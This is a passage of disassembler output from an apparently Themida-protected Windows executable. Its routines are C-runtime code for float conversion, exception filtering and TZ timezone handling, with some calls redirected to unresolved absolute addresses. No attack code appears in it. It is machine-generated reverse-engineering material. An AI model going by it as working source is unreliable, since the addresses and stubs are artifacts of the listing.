add esp, 0Ch
dec esi
js short loc_420383
lea edi, [ebx+esi*4]
loc_42036A: ; CODE XREF: sub_420331+50j
test eax, eax
jz short loc_420383
push edi
push 1
push dword ptr [edi]
call sub_421337
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_42036A
loc_420383: ; CODE XREF: sub_420331+34j
; sub_420331+3Bj
pop edi
pop esi
pop ebx
retn
sub_420331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420387 proc near ; CODE XREF: sub_4204E2+81p
; sub_4204E2+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_4203EB
inc ebx
push ebx
push [ebp+arg_0]
call sub_4202E8
pop ecx
test eax, eax
pop ecx
jnz short loc_4203E8
push edi
push [ebp+arg_0]
call sub_420331
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_4203E8: ; CODE XREF: sub_420387+51j
mov eax, [ebp+arg_4]
loc_4203EB: ; CODE XREF: sub_420387+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_42040B
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_42040B: ; CODE XREF: sub_420387+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_420387 endp
; =============== S U B R O U T I N E =======================================
sub_420413 proc near ; CODE XREF: sub_4204E2+75p
; sub_4204E2+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_420421: ; CODE XREF: sub_420413+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_420421
pop esi
retn
sub_420413 endp
; =============== S U B R O U T I N E =======================================
sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp
; sub_4204E2+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42042E endp
; =============== S U B R O U T I N E =======================================
sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_420440: ; CODE XREF: sub_42043A+12j
cmp dword ptr [eax], 0
jnz short loc_420452
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_420440
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_420452: ; CODE XREF: sub_42043A+9j
xor eax, eax
retn
sub_42043A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420455 proc near ; CODE XREF: sub_4204E2+C0p
; sub_4204E2+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_42048B: ; CODE XREF: sub_420455+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_42048B
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_4204BD: ; CODE XREF: sub_420455+86j
cmp ebx, edi
jl short loc_4204D0
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_4204D7
; ---------------------------------------------------------------------------
loc_4204D0: ; CODE XREF: sub_420455+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_4204D7: ; CODE XREF: sub_420455+79j
dec ebx
sub ecx, 4
jns short loc_4204BD
pop edi
pop esi
pop ebx
leave
retn
sub_420455 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp
; sub_420664+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_42054F
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_42043A
test eax, eax
pop ecx
jnz loc_42060E
lea eax, [ebp+var_C]
push eax
call sub_42042E
pop ecx
loc_420547: ; CODE XREF: sub_4204E2+E4j
push 2
loc_420549: ; CODE XREF: sub_4204E2+110j
pop eax
jmp loc_420610
; ---------------------------------------------------------------------------
loc_42054F: ; CODE XREF: sub_4204E2+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_420413
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_420387
add esp, 10h
test eax, eax
jz short loc_420570
inc ebx
loc_420570: ; CODE XREF: sub_4204E2+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_420588
lea eax, [ebp+var_C]
push eax
call sub_42042E
pop ecx
jmp short loc_4205C4
; ---------------------------------------------------------------------------
loc_420588: ; CODE XREF: sub_4204E2+98j
cmp ebx, eax
jg short loc_4205CB
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_420413
lea eax, [ebp+var_C]
push esi
push eax
call sub_420455
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_420387
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_420455
add esp, 20h
loc_4205C4: ; CODE XREF: sub_4204E2+A4j
xor esi, esi
jmp loc_420547
; ---------------------------------------------------------------------------
loc_4205CB: ; CODE XREF: sub_4204E2+A8j
cmp ebx, [edi]
jl short loc_4205F7
lea eax, [ebp+var_C]
push eax
call sub_42042E
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_420455
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_4205F7: ; CODE XREF: sub_4204E2+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_420455
pop ecx
pop ecx
loc_42060E: ; CODE XREF: sub_4204E2+55j
xor eax, eax
loc_420610: ; CODE XREF: sub_4204E2+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_42063F
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_420649
; ---------------------------------------------------------------------------
loc_42063F: ; CODE XREF: sub_4204E2+14Ej
cmp edi, 20h
jnz short loc_420649
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_420649: ; CODE XREF: sub_4204E2+15Bj
; sub_4204E2+160j
pop edi
pop esi
pop ebx
leave
retn
sub_4204E2 endp
; =============== S U B R O U T I N E =======================================
sub_42064E proc near ; CODE XREF: sub_42067A+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43BF40
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4204E2
add esp, 0Ch
retn
sub_42064E endp
; =============== S U B R O U T I N E =======================================
sub_420664 proc near ; CODE XREF: sub_4206A7+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43BF58
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4204E2
add esp, 0Ch
retn
sub_420664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42067A proc near ; CODE XREF: sub_41C92F+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4214D8
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_42064E
add esp, 24h
leave
retn
sub_42067A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4214D8
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_420664
add esp, 24h
leave
retn
sub_4206A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p
; sub_41CA71+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_420711
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4206F7: ; CODE XREF: sub_4206D4+38j
mov dl, [ecx]
test dl, dl
jz short loc_420703
movsx edx, dl
inc ecx
jmp short loc_420706
; ---------------------------------------------------------------------------
loc_420703: ; CODE XREF: sub_4206D4+27j
push 30h
pop edx
loc_420706: ; CODE XREF: sub_4206D4+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4206F7
mov edx, [ebp+arg_8]
loc_420711: ; CODE XREF: sub_4206D4+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_42072A
cmp byte ptr [ecx], 35h
jl short loc_42072A
loc_42071D: ; CODE XREF: sub_4206D4+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_420728
mov byte ptr [eax], 30h
jmp short loc_42071D
; ---------------------------------------------------------------------------
loc_420728: ; CODE XREF: sub_4206D4+4Dj
inc byte ptr [eax]
loc_42072A: ; CODE XREF: sub_4206D4+42j
; sub_4206D4+47j
cmp byte ptr [esi], 31h
jnz short loc_420734
inc dword ptr [edx+4]
jmp short loc_420746
; ---------------------------------------------------------------------------
loc_420734: ; CODE XREF: sub_4206D4+59j
push edi
call sub_417AB0
inc eax
push eax
push edi
push esi
call sub_4182C0
add esp, 10h
loc_420746: ; CODE XREF: sub_4206D4+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4206D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp
; sub_41CA71+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_4207AF
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_48A1E8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4219A9
mov dword_48A210, eax
add esp, 18h
movsx eax, byte_48A1EA
mov dword_48A208, eax
pop edi
movsx eax, word_48A1E8
mov dword_48A20C, eax
mov dword_48A214, offset dword_48A1EC
mov eax, offset dword_48A208
pop esi
leave
retn
sub_42074B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4207AF proc near ; CODE XREF: sub_42074B+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4207FD
cmp ebx, edi
jz short loc_4207F6
lea edi, [ecx+3C00h]
jmp short loc_42081E
; ---------------------------------------------------------------------------
loc_4207F6: ; CODE XREF: sub_4207AF+3Dj
mov edi, 7FFFh
jmp short loc_42081E
; ---------------------------------------------------------------------------
loc_4207FD: ; CODE XREF: sub_4207AF+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_420815
cmp edx, ebx
jnz short loc_420815
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_420860
; ---------------------------------------------------------------------------
loc_420815: ; CODE XREF: sub_4207AF+52j
; sub_4207AF+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_42081E: ; CODE XREF: sub_4207AF+45j
; sub_4207AF+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_420836: ; CODE XREF: sub_4207AF+A6j
test ecx, esi
jnz short loc_420857
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_420836
; ---------------------------------------------------------------------------
loc_420857: ; CODE XREF: sub_4207AF+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_420860: ; CODE XREF: sub_4207AF+64j
pop edi
pop esi
pop ebx
leave
retn
sub_4207AF endp
; ---------------------------------------------------------------------------
push 2
call sub_419CDA
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42086E proc near ; DATA XREF: ___:0043B918o
; ___:0043C3E0o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_420891
cmp dword ptr [eax+10h], 3
jnz short loc_420891
cmp dword ptr [eax+14h], 19930520h
jnz short loc_420891
jmp sub_41D4FC
; ---------------------------------------------------------------------------
loc_420891: ; CODE XREF: sub_42086E+Dj
; sub_42086E+13j ...
mov eax, dword_48A218
test eax, eax
jz short loc_4208AE
push eax
call sub_42090A
test eax, eax
pop ecx
jz short loc_4208AE
push esi
call dword_48A218
jmp short loc_4208B0
; ---------------------------------------------------------------------------
loc_4208AE: ; CODE XREF: sub_42086E+2Aj
; sub_42086E+35j
xor eax, eax
loc_4208B0: ; CODE XREF: sub_42086E+3Ej
pop esi
retn 4
sub_42086E endp
; ---------------------------------------------------------------------------
dword_4208B4 dd 42086E68h, 0FC5DE800h, 0A3900218h, 48A218h, 1835FFC3h
; DATA XREF: ___:00426024o
dd 900048A2h, 18FC4AE8h
; ---------------------------------------------------------------------------
add al, bl
; =============== S U B R O U T I N E =======================================
sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp
; sub_41D256+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 25B0000h
nop
test eax, eax
jz short loc_4208EA
xor esi, esi
loc_4208EA: ; CODE XREF: sub_4208D2+14j
mov eax, esi
pop esi
retn
sub_4208D2 endp
; =============== S U B R O U T I N E =======================================
sub_4208EE proc near ; CODE XREF: sub_41D256+73p
; sub_41D256+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 283090Eh
test eax, eax
jz short loc_420906
xor esi, esi
loc_420906: ; CODE XREF: sub_4208EE+14j
mov eax, esi
pop esi
retn
sub_4208EE endp
; =============== S U B R O U T I N E =======================================
sub_42090A proc near ; CODE XREF: sub_41D256+15Bp
; sub_42086E+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 25A0B9Bh
nop
test eax, eax
jz short loc_42091E
xor esi, esi
loc_42091E: ; CODE XREF: sub_42090A+10j
mov eax, esi
pop esi
retn
sub_42090A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D4FC
loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj
push 0Ah
call sub_41F885
push 16h
call sub_421C3C
pop ecx
pop ecx
push 3
call sub_419AF6
; END OF FUNCTION CHUNK FOR sub_41D4FC
; =============== S U B R O U T I N E =======================================
sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p
cmp dword_48A2D8, 0
jnz short locret_42094D
call sub_42094E
inc dword_48A2D8
locret_42094D: ; CODE XREF: sub_420939+7j
retn
sub_420939 endp
; =============== S U B R O U T I N E =======================================
sub_42094E proc near ; CODE XREF: sub_420939+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_48A220, ebp
loc_420965: ; DATA XREF: Themida_:004F6C13o
mov dword_43C018, ebx
mov dword_43C008, ebx
call sub_421DAE
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_420A77
push offset dword_48A228
call near ptr 27E0000h
nop
cmp eax, ebx
jz loc_420BA6
mov eax, dword_48A228
mov ecx, dword_48A27C
imul eax, 3Ch
cmp word_48A26E, bp
push 1
pop edx
mov dword_43BF70, eax
mov dword_48A220, edx
jz short loc_4209C5
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43BF70, eax
loc_4209C5: ; CODE XREF: sub_42094E+69j
cmp word_48A2C2, bp
jz short loc_4209E9
mov eax, dword_48A2D0
cmp eax, ebp
jz short loc_4209E9
sub eax, ecx
mov dword_43BF74, edx
imul eax, 3Ch
mov dword_43BF78, eax
jmp short loc_4209F5
; ---------------------------------------------------------------------------
loc_4209E9: ; CODE XREF: sub_42094E+7Ej
; sub_42094E+87j
mov dword_43BF74, ebp
mov dword_43BF78, ebp
loc_4209F5: ; CODE XREF: sub_42094E+99j
lea eax, [esp+14h+var_4]
mov esi, dword_424150
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43BFFC
push ebx
push offset dword_48A22C
push edi
push dword_48A0B8
call esi
test eax, eax
jz short loc_420A32
cmp [esp+14h+var_4], ebp
jnz short loc_420A32
mov eax, off_43BFFC
and byte ptr [eax+3Fh], 0
jmp short loc_420A3A
; ---------------------------------------------------------------------------
loc_420A32: ; CODE XREF: sub_42094E+D1j
; sub_42094E+D7j
mov eax, off_43BFFC
and byte ptr [eax], 0
loc_420A3A: ; CODE XREF: sub_42094E+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43C000
push ebx
push offset dword_48A280
push edi
push dword_48A0B8
call esi
test eax, eax
jz loc_420B9E
cmp [esp+14h+var_4], ebp
jnz loc_420B9E
mov eax, off_43C000
and byte ptr [eax+3Fh], 0
jmp loc_420BA6
; ---------------------------------------------------------------------------
loc_420A77: ; CODE XREF: sub_42094E+2Dj
cmp byte ptr [esi], 0
jz loc_420BA6
mov eax, dword_48A2D4
cmp eax, ebp
jz short loc_420A9A
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_420BA6
loc_420A9A: ; CODE XREF: sub_42094E+139j
push dword_48A2D4
call sub_417C3B
push esi
call sub_417AB0
inc eax
push eax
call sub_417B89
add esp, 0Ch
cmp eax, ebp
mov dword_48A2D4, eax
jz loc_420BA6
push esi
push eax
call sub_4179C0
push 3
push esi
push off_43BFFC
call sub_418C10
mov eax, off_43BFFC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_420AEF
push 1
inc esi
pop edi
loc_420AEF: ; CODE XREF: sub_42094E+19Bj
push esi
call sub_417794
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43BF70, ecx
loc_420B06: ; CODE XREF: sub_42094E+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_420B14
cmp al, bl
jl short loc_420B17
cmp al, 39h
jg short loc_420B17
loc_420B14: ; CODE XREF: sub_42094E+1BCj
inc esi
jmp short loc_420B06
; ---------------------------------------------------------------------------
loc_420B17: ; CODE XREF: sub_42094E+1C0j
; sub_42094E+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_420B6A
inc esi
push esi
call sub_417794
imul eax, 3Ch
pop ecx
mov ecx, dword_43BF70
add ecx, eax
mov dword_43BF70, ecx
loc_420B35: ; CODE XREF: sub_42094E+1F2j
mov al, [esi]
cmp al, bl
jl short loc_420B42
cmp al, 39h
jg short loc_420B42
inc esi
jmp short loc_420B35
; ---------------------------------------------------------------------------
loc_420B42: ; CODE XREF: sub_42094E+1EBj
; sub_42094E+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_420B6A
inc esi
push esi
call sub_417794
pop ecx
mov ecx, dword_43BF70
add ecx, eax
mov dword_43BF70, ecx
loc_420B5D: ; CODE XREF: sub_42094E+21Aj
mov al, [esi]
cmp al, bl
jl short loc_420B6A
cmp al, 39h
jg short loc_420B6A
inc esi
jmp short loc_420B5D
; ---------------------------------------------------------------------------
loc_420B6A: ; CODE XREF: sub_42094E+1CCj
; sub_42094E+1F7j ...
cmp edi, ebp
jz short loc_420B76
neg ecx
mov dword_43BF70, ecx
loc_420B76: ; CODE XREF: sub_42094E+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43BF74, eax
jz short loc_420B9E
push 3
push esi
push off_43C000
call sub_418C10
mov eax, off_43C000
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B9E: ; CODE XREF: sub_42094E+10Bj
; sub_42094E+115j ...
mov eax, off_43C000
and byte ptr [eax], 0
loc_420BA6: ; CODE XREF: sub_42094E+40j
; sub_42094E+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42094E endp
; =============== S U B R O U T I N E =======================================
sub_420BAC proc near ; CODE XREF: sub_41D609+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43BF74, edi
jnz short loc_420BC0
loc_420BB9: ; CODE XREF: sub_420BAC+148j
; sub_420BAC+150j ...
xor eax, eax
jmp loc_420D0C
; ---------------------------------------------------------------------------
loc_420BC0: ; CODE XREF: sub_420BAC+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43C008
jnz short loc_420BDE
cmp eax, dword_43C018
jz loc_420CE0
loc_420BDE: ; CODE XREF: sub_420BAC+24j
cmp dword_48A220, edi
jz loc_420CB6
movzx ecx, word_48A2CE
push ecx
cmp word_48A2C0, di
movzx ecx, word_48A2CC
push ecx
movzx ecx, word_48A2CA
push ecx
movzx ecx, word_48A2C8
push ecx
jnz short loc_420C30
movzx ecx, word_48A2C4
push edi
push ecx
movzx ecx, word_48A2C6
push ecx
movzx ecx, word_48A2C2
push ecx
push eax
push ebx
jmp short loc_420C44
; ---------------------------------------------------------------------------
loc_420C30: ; CODE XREF: sub_420BAC+65j
movzx ecx, word_48A2C6
push ecx
push edi
movzx ecx, word_48A2C2
push edi
push ecx
push eax
push edi
loc_420C44: ; CODE XREF: sub_420BAC+82j
push ebx
call sub_420D58
movzx eax, word_48A27A
add esp, 2Ch
cmp word_48A26C, di
push eax
movzx eax, word_48A278
push eax
movzx eax, word_48A276
push eax
movzx eax, word_48A274
push eax
jnz short loc_420C9E
movzx eax, word_48A270
push edi
push eax
movzx eax, word_48A272
push eax
movzx eax, word_48A26E
push eax
push dword ptr [esi+14h]
push ebx
loc_420C93: ; CODE XREF: sub_420BAC+108j
push edi
call sub_420D58
add esp, 2Ch
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420C9E: ; CODE XREF: sub_420BAC+C8j
movzx eax, word_48A272
push eax
push edi
movzx eax, word_48A26E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_420C93
; ---------------------------------------------------------------------------
loc_420CB6: ; CODE XREF: sub_420BAC+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_420D58
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_420D58
add esp, 58h
loc_420CE0: ; CODE XREF: sub_420BAC+2Cj
; sub_420BAC+F0j
mov edx, dword_43C00C
mov eax, dword_43C01C
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_420D10
cmp ecx, edx
jl loc_420BB9
cmp ecx, eax
jg loc_420BB9
cmp ecx, edx
jle short loc_420D24
cmp ecx, eax
jge short loc_420D24
loc_420D0A: ; CODE XREF: sub_420BAC+166j
; sub_420BAC+16Aj
mov eax, ebx
loc_420D0C: ; CODE XREF: sub_420BAC+Fj
; sub_420BAC+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_420D10: ; CODE XREF: sub_420BAC+144j
cmp ecx, eax
jl short loc_420D0A
cmp ecx, edx
jg short loc_420D0A
cmp ecx, eax
jle short loc_420D24
cmp ecx, edx
jl loc_420BB9
loc_420D24: ; CODE XREF: sub_420BAC+158j
; sub_420BAC+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_420D4B
xor ecx, ecx
cmp eax, dword_43C010
setnl cl
loc_420D47: ; CODE XREF: sub_420BAC+1AAj
mov eax, ecx
jmp short loc_420D0C
; ---------------------------------------------------------------------------
loc_420D4B: ; CODE XREF: sub_420BAC+18Ej
xor ecx, ecx
cmp eax, dword_43C020
setl cl
jmp short loc_420D47
sub_420BAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D58 proc near ; CODE XREF: sub_420BAC+99p
; sub_420BAC+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_420DF3
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_420D83
shl esi, 2
mov eax, dword_43C020[esi]
jmp short loc_420D8C
; ---------------------------------------------------------------------------
loc_420D83: ; CODE XREF: sub_420D58+1Ej
shl esi, 2
mov eax, dword_43C054[esi]
loc_420D8C: ; CODE XREF: sub_420D58+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_420DC6
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_420DD0
; ---------------------------------------------------------------------------
loc_420DC6: ; CODE XREF: sub_420D58+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_420DD0: ; CODE XREF: sub_420D58+6Cj
cmp [ebp+arg_10], 5
jnz short loc_420E0E
cmp [ebp+arg_8], 0
jnz short loc_420DE4
mov esi, dword_43C024[esi]
jmp short loc_420DEA
; ---------------------------------------------------------------------------
loc_420DE4: ; CODE XREF: sub_420D58+82j
mov esi, dword_43C058[esi]
loc_420DEA: ; CODE XREF: sub_420D58+8Aj
cmp ecx, esi
